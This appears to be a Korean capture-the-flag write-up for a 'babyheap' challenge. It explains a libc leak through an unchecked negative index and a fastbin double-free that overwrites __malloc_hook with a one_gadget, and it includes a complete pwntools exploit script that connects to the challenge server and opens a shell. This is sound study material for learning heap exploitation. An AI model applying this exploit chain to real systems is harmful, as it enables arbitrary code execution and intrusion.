babyheap
보호기법으로
RELRO, CANARY, NX가 걸려있다
got overwrite는 못한다.
main함수이다.
Malloc함수를 보겠다.
malloc의 갯수가 6개이상이면 exit가 진행된다.
전역변수 ptr에 주소가 저장된다.
입력받은 수가 0과 5사이어야 exit가 실행이 안된다.
index를 입력받아 해당위치의 heap데이터를 확인할 수 있다.
음수의 대한 처리가 없다.
여기서 주소들을 leak할 수 있다.
하지만 여기서 got의 주소를 바로 참조해버리면 안된다.
puts의 인자가 값을 한번 역참조하기때문이다.
ELF64_Rela를 사용하기로 한다.
0x4005a8주소의 데이터로 puts의 got값이 들어가 있다.
위치를 계산하여 가젯들을 계산한다.
got overwrite가 불가능하기에 one_gadget을 사용하기로 한다.
또한 one_gadget은 _malloc_hook에 넣기로 했다.
_malloc_hook은 개발자를 위한 디버깅 함수라고 한다.
반환값이 널로 되어 있으면 정상적으로 malloc을 호출하지만
null이 아니면 개발자가 올려둔 함수를 사용한다고 한다.
그럼 _malloc_hook에 one_gadget을 넣는 방법을 알아보도록 한다.
-fastbin dup attack
아까 free를 진행하는데 있어
이미 free했던 주소를 검사하는 구문이 없었다.
이를 통한 공격기법이있다.
malloc을 두번 할당받은 상태이다.
0번째 index를 free했다.
fastbin의 상태이다. free된 주소가 들어가 있다.
두번째 인덱스도 free했다. fd값에 첫번째 헤더 값이 들어가 있다.
fastbin의 상태이다.
근데 여기서 다시 첫번째 인덱스를 free하면 어떻게 될까 확인해본다.
첫번째와 두번째가 서로 fd값을 가지고 있다.
fastbin의 상태이다 여기서 다시 같은 크기의 malloc을 할당하면 첫번째 인덱스의 data를 바꿀 수 있다.
a 네개를 넣었다.
다시 fastbin의 상태를 본다.
다음 같은 크기의 힙을 할당받으면 0x603020 -> 0x603000 -> 0xa414141 순으로 데이터를 쓸 수 있게된다.
만약 0xa414141이 아니라 내가 원하는 주소로 바꾼다면 값을 덮을 수 있게 된다.
우리는 __malloc_hook의 주소로 바꾸어 데이터를 입력할 것이다.
__malloc_hook의 주소이다.
그냥 이 주소로 적으면 안된다.
왜냐하면 size를 확인하기 때문이다.
그래서 size를 참조할 수 있는 __malloc_hook-35의 주소를 주었다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3030)
#p = process("./babyheap", env={'LD_PRELOAD':'./libc.so.6'})
context.log_level = "Debug"
elf = ELF("./babyheap")
libc = ELF("./libc.so.6")
one_gadget_offset = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
gdb.attach(p)
p.sendlineafter("> ","3")
p.sendlineafter("index: ", "-262999")
leak_put = u64(p.recv(6)+"\x00\x00")
libc_base = leak_put - libc.symbols['puts']
magic_gadget = libc_base + one_gadget_offset[2]
malloc_hook = libc_base + libc.symbols['__malloc_hook']
def add_malloc(size, content):
time.sleep(0.1)
p.sendlineafter("> ", "1")
p.sendlineafter("size: ", str(size))
p.sendlineafter("content: ", str(content))
def free(idx):
time.sleep(0.1)
p.sendlineafter("> ", "2")
p.sendlineafter("index: ", str(idx))
add_malloc(100, "AAAA")
add_malloc(100, "AAAA")
free(0)
free(1)
free(0)
print(hex(malloc_hook))
add_malloc(100, p64(malloc_hook-35))
add_malloc(100, "AAAA")
add_malloc(100, "AAAA")
add_malloc(100,"C"*19+p64(magic_gadget))
free(0)
free(0)
p.interactive()
그 다음 __malloc_hook를 실행시키기 위해서 DFB를 일으키면 된다고 한다.
DFB가 실행될시 malloc()이 한번 실행된다고 한다.
잘 몰랐다.
double free 오류는 무시 하도록 한다.